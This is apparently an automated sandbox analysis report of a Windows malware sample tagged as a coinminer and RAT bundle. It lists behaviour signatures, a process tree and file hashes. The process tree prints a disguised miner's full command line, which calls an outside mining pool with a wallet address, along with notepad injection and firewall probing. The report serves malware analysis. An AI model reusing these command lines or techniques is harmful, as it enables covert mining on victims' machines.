Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 22:54

General

  • Target
    2026-11-06_cf21e17e09da27916aa2ca2895e302a3_cobalt-strike_coinminer_glassworm_icedid_njrat_quasar-rat_stealc.exe
  • Size 51.4MB
  • Sample261107-2vkejasv2m
  • SHA256 08da3e01db062125cd581f9d358c7c9b9a77b5f0696889e6b38dc4213c00798b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 6 IoCs
  • Custom signature
    Detects executables referencing virtualization MAC addresses 7 IoCs
  • XMRig Miner payload 20 IoCs
  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 4 IoCs
  • Windows security bypass 2 TTPs 1 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
      PID:1144
      • C:\Users\Admin\AppData\Local\Temp\2026-11-06_cf21e17e09da27916aa2ca2895e302a3_cobalt-strike_coinminer_glassworm_icedid_njrat_quasar-rat_stealc.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-11-06_cf21e17e09da27916aa2ca2895e302a3_cobalt-strike_coinminer_glassworm_icedid_njrat_quasar-rat_stealc.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Windows security bypass
        • Windows security modification
        • Suspicious use of SetThreadContext
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4820
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall firewall show rule name="GameUpdaterConnect"
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:5896
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall firewall show rule name="GameUpdaterConnect"
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:4548
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall firewall show rule name="GameUpdaterConnect"
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:4452
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall firewall show rule name="GameUpdaterConnect"
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:3044
      • C:\Windows\system32\notepad.exe
        "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e714440064e310b02054032111d1901331015041c6f0702045475505e4943344459580b3136005c2d1703340f2510253c02560629580d5a240d58133d07092f0a14153c1e030424010a1806103234215f34075c1c2f062c2b245f24572a1e571601045a0f745c2b393d3523143f5772570e213815072911180056061d1634034d441e610f020000345059504e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195459744440084e331c4259
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2852
      • C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe
        "C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1ppcthgg1jehts4g94wpv3y4r5lzxmwgvsyqe@wlxjwf28mdaljqvv2y4f@nock=BpHKdidxe1uaT5bYwCiUVmZkwztVhpWjxBiceAQBe2PdNzk7zyaMVoB --pass x --gpu-fan-speed 80 21550 --no-color --gpu-temp-limit 94 --gpu-temp-resume 84 --pearlhash-kernel 2 --multiple-instance
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:4344
      • C:\Windows\system32\notepad.exe
        "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e714440064e310b02054032111d1901331015041c6f0702045475505e4943344459580b3136005c2d1703340f2510253c02560629580d5a240d58133d07092f0a14153c1e030424010a1806103234215f34075c1c2f062c2b245f24572a1e571601045a0f745c2b393d3523143f5772570e213815072911180056061d1634034d441e610f020000345059504e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195459744440084e331c4259
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4480
      • C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe
        "C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1ppcthgg1jehts4g94wpv3y4r5lzxmwgvsyqe@wlxjwf28mdaljqvv2y4f@nock=BpHKdidxe1uaT5bYwCiUVmZkwztVhpWjxBiceAQBe2PdNzk7zyaMVoB --pass x --gpu-fan-speed 80 21550 --no-color --gpu-temp-limit 94 --gpu-temp-resume 84 --pearlhash-kernel 2 --multiple-instance
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:5440
      • C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe
        "C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1ppcthgg1jehts4g94wpv3y4r5lzxmwgvsyqe@wlxjwf28mdaljqvv2y4f@nock=BpHKdidxe1uaT5bYwCiUVmZkwztVhpWjxBiceAQBe2PdNzk7zyaMVoB --pass x --gpu-fan-speed 80 21550 --no-color --gpu-temp-limit 94 --gpu-temp-resume 84 --pearlhash-kernel 2 --multiple-instance
        2⤵
        • Executes dropped EXE
        PID:5596
      • C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe
        "C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1ppcthgg1jehts4g94wpv3y4r5lzxmwgvsyqe@wlxjwf28mdaljqvv2y4f@nock=BpHKdidxe1uaT5bYwCiUVmZkwztVhpWjxBiceAQBe2PdNzk7zyaMVoB --pass x --gpu-fan-speed 80 21550 --no-color --gpu-temp-limit 94 --gpu-temp-resume 84 --pearlhash-kernel 2 --multiple-instance
        2⤵
        • Executes dropped EXE
        PID:3112

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          GameUpdater.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe
          • Size 42.5MB
          • SHA256 7dd56f38aa554bc003e515c2473d6f16591be2adbc98d216ceb7a4f7911436cb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          GameUpdater.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe
          • Size 42.5MB
          • SHA256 fff92c3a5eddf1f268a0e938c9e5f417e1d3fb634785eb9a3e65899465d4392c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          GameUpdater.exe

          • Path C:\Users\Admin\AppData\Local\Temp\SvcCache\GameUpdater.exe
          • Size 42.5MB
          • SHA256 6be8e4908112b0e2263ca03ffecf167be7d9ad86401f55a000aba69443565e02
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2852-5-0x000001ECAD0D0000-0x000001ECAD0F0000-memory.dmp

          memory/2852-16-0x00007FF623380000-0x00007FF623C67000-memory.dmp

          memory/2852-17-0x00007FF623380000-0x00007FF623C67000-memory.dmp

          memory/3112-78-0x00007FF7743D0000-0x00007FF7753D0000-memory.dmp

          memory/3112-77-0x00007FFFA8670000-0x00007FFFA8672000-memory.dmp

          memory/4344-18-0x00007FFFA8670000-0x00007FFFA8672000-memory.dmp

          memory/4344-19-0x00007FF7C2680000-0x00007FF7C3680000-memory.dmp

          memory/4480-43-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-58-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-85-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-83-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-76-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-41-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-33-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-45-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-48-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4480-66-0x00007FF691AA0000-0x00007FF692387000-memory.dmp

          memory/4820-0-0x00000265EBC10000-0x00000265EBC11000-memory.dmp

          memory/4820-57-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/4820-25-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/4820-15-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/4820-75-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/4820-2-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/4820-1-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/4820-82-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/4820-35-0x00007FF6BE6F0000-0x00007FF6C1A5D000-memory.dmp

          memory/5440-37-0x00007FF67DBD0000-0x00007FF67EBD0000-memory.dmp

          memory/5440-36-0x00007FFFA8670000-0x00007FFFA8672000-memory.dmp

          memory/5596-59-0x00007FFFA8670000-0x00007FFFA8672000-memory.dmp

          memory/5596-60-0x00007FF72C3B0000-0x00007FF72D3B0000-memory.dmp